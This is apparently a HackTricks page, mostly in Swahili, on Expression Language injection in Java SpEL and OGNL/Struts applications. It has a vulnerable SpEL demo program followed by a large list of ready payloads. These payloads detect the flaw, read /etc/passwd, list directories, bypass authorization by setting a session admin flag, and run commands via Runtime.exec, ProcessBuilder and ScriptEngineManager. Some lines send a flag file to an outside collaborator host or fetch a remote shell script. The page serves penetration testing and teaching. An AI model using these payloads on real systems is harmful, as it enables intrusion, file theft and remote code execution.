EL - Expression Language

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Bsic Info

Expression Language (EL) ni muhimu katika JavaEE kwa kuunganisha safu ya uwasilishaji (mfano, kurasa za wavuti) na mantiki ya programu (mfano, beans zinazodhibitiwa), ikiruhusu mwingiliano wao. Inatumika hasa katika:

• JavaServer Faces (JSF): Kwa kuunganisha vipengele vya UI na data/hatua za nyuma.

• JavaServer Pages (JSP): Kwa ufikiaji wa data na usimamizi ndani ya kurasa za JSP.

• Contexts and Dependency Injection for Java EE (CDI): Kwa kuwezesha mwingiliano wa safu ya wavuti na beans zinazodhibitiwa.

Muktadha wa Matumizi:

• Spring Framework: Inatumika katika moduli mbalimbali kama Usalama na Data.

• Matumizi ya Kawaida: Kupitia SpEL API na waendelezaji katika lugha zinazotegemea JVM kama Java, Kotlin, na Scala.

EL inapatikana katika teknolojia za JavaEE, mazingira huru, na inatambulika kupitia .jsp au .jsf file extensions, makosa ya stack, na maneno kama "Servlet" katika vichwa. Hata hivyo, sifa zake na matumizi ya wahusika fulani yanaweza kutegemea toleo.

Kulingana na toleo la EL baadhi ya sifa zinaweza kuwa Zimewashwa au Zimezimwa na kawaida wahusika fulani wanaweza kuwa hawaruhusiwi.

Basic Example

(Unaweza kupata mafunzo mengine ya kuvutia kuhusu EL katika https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/)

Pakua kutoka kwa Maven hifadhi faili za jar:

• commons-lang3-3.9.jar

• spring-core-5.2.1.RELEASE.jar

• commons-logging-1.2.jar

• spring-expression-5.2.1.RELEASE.jar

Na uunde faili ifuatayo Main.java:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

Kisha jumuisha msimbo (ikiwa huna javac iliyosakinishwa, sakinisha sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Tekeleza programu na:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Note how in the previous example the term {5*5} was evaluated.

CVE Based Tutorial

Check it in this post: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

Payloads

Mambo ya msingi

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Detection

• Ugunduzi wa Burp

gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.

• Ugunduzi wa J2EE

#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL

• Lala sekunde 10

#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Remote File Inclusion

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Orodha ya Saraka

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

• Msingi wa RCE maelezo

#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

• RCE linux

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• RCE Windows (haijajaribiwa)

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• Zaidi ya RCE

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Kukagua mazingira

• applicationScope - mabadiliko ya programu ya kimataifa

• requestScope - mabadiliko ya ombi

• initParam - mabadiliko ya awali ya programu

• sessionScope - mabadiliko ya kikao

• param.X - thamani ya param ambapo X ni jina la parameter ya http

Itabidi ubadilishe mabadiliko haya kuwa String kama:

${sessionScope.toString()}

Mfano wa kupita idhini

${pageContext.request.getSession().setAttribute("admin", true)}

Programu inaweza pia kutumia mabadiliko maalum kama:

${user}
${password}
${employee.FirstName}

WAF Bypass

Check https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

References

• https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/

• https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf

• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools

• https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.